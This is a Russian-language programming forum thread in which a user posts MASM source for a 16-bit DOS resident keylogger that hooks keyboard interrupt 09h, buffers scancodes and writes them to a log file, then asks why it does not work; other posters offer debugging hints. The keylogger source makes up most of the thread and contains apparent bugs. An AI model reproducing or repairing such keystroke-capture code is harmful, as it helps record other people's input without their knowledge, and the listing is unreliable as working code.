перехват прерываний 09h

Низкоуровневое программирование портов, микроконтроллеров и т.д.

Модератор: Andy

Ответить
Gringo
Сообщения: 4
Зарегистрирован: 14 окт 2010, 14:12

Добрый день,
пишу клавиатурного шпиона с перехватом прерываний (masm, com приложение)
помогите пожалуйста разобраться почему не работает

Код: Выделить всё

.model tiny
.186
.code
org 2Ch
envseg             dw    ?
org 100h
Begin:
	jmp Install
	
Old09h		DD	?
Old28h		DD	?
EnWrFile	DB	0
EnWrBuf		DB	1
FName		DB	"c:\myfile.bin",0
Max=5
Count		DW	0
Buf		DB	100h DUP (?)
Handle		dw	?

New09h:
	push	ds
	push	cs
	pop	ds
	cmp	EnWrBuf, 0
	jz	OutOfHandler09h
	pusha
	pushf
	in	al, 60h
	mov	bx, Count
	mov	Buf[bx], al
	inc	Count
	cmp	bx, Max
	jnz	BufNotFull
	mov	EnWrBuf, 0
	mov	EnWrFile, 1
	popf
	popa
	mov ah, 28h
	int 21h
	jmp OutOfHandler09h

BufNotFull:
	popf
	popa

OutOfHandler09h:
	pop	ds
	jmp	DWORD PTR cs:Old09h

New28h:
	push	ds
	push	cs
	pop	ds
	pushf
	call	DWORD PTR Old28h
	cmp	EnWrFile, 0
	jz	OutOfHandler28h
	pusha
	pushf
	mov	ah, 3ch
	mov	cx, 2
	mov	dx, OFFSET FName
	int	21h
	
	mov	bx, ax
	mov	ah, 40h
	mov	cx, 100h
	mov	dx, OFFSET Buf
	int	21h
	mov	ax, 3eh
	int	21h
EndWr:
	mov	EnWrFile, 0
	mov	EnWrBuf, 1
	popf
	popa

OutOfHandler28h:
	pop	ds
	mov al, 20h
	out 20h, al
	iret
Install:
	mov	ax, 3509h
	int	21h
	mov	WORD PTR Old09h, bx
	mov	WORD PTR Old09h+2, es
	mov	ax, 2509h
	mov	dx, OFFSET New09h
	int	21h
	
	mov	ax, 3528h
	int	21h
	mov	WORD PTR Old28h, bx
	mov	WORD PTR Old28h+2, es
	mov	ax, 2528h
	mov	dx, OFFSET New28h
	int	21h
	mov ah, 49h
	mov es, word ptr envseg
	int 21h
	mov dx, offset install
	int	27h
END	Begin
BBB
Сообщения: 1298
Зарегистрирован: 27 дек 2005, 13:37

А что происходит? КАК не работает? Какие симптомы?
(чем больше исходной информации, тем легче найти причину)
Gringo
Сообщения: 4
Зарегистрирован: 14 окт 2010, 14:12

это резидентная программа, 16 бит, как ее отлаживать я не знаю..
А симптомы, не создается файл с логом клавиш
Gringo
Сообщения: 4
Зарегистрирован: 14 окт 2010, 14:12

А вообще из по windows можно ли перехватить прерывание?
airyashov
Сообщения: 441
Зарегистрирован: 02 ноя 2007, 10:31

из прерывания 09h вызывать 21h прерывание не есть хорошо
icq:3(один)7748666
mail:airyashov( а)inbox.ru
BBB
Сообщения: 1298
Зарегистрирован: 27 дек 2005, 13:37

airyashov писал(а):из прерывания 09h вызывать 21h прерывание не есть хорошо
В принципе, это допустимо, но в определенные моменты. Как-то это называется... что-то вроде "критические секции". Поучается несколько наворотно, но возможно, я когда-то делал такое.
Gringo
Сообщения: 4
Зарегистрирован: 14 окт 2010, 14:12

в общем она работает только под DOS, под windows нельзя перехватывать прерывания
Ответить